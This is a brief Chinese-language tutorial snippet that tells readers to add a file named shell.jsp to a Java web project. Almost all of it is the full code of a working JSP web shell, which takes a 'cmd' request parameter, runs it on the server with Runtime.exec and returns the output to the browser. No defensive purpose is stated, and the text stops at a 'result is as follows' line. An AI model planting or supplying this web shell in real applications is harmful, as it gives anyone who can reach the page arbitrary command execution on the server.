在JavaWeb專案中新增一個jsp檔案，此處以shell.jsp為例

<%@page import="java.io.IOException"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.io.BufferedReader"%>
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>

<%
        String cmd = request.getParameter("cmd"
 
);
        System.out.println(cmd);
        Process process = null;  
        List<String> processList = new ArrayList<String>();  
        try {  
            if (cmd!=null) {
                process = Runtime.getRuntime().exec(cmd);  
                BufferedReader input = new BufferedReader(new
 
 InputStreamReader(process.getInputStream()));  
                String line = "";  
                while ((line = input.readLine()) != null) {  
                    processList.add(line);  
                }  
                input.close();  
            }
        } catch (IOException e) {  
            e.printStackTrace();  
        }
        String
 
 s = "";
        for (String line : processList) {  
            s += line + "\n";
        } 
        if (s.equals("")) {
           out.write("null");
        }else {
            out.write(s);
        }
%>

執行效果如下：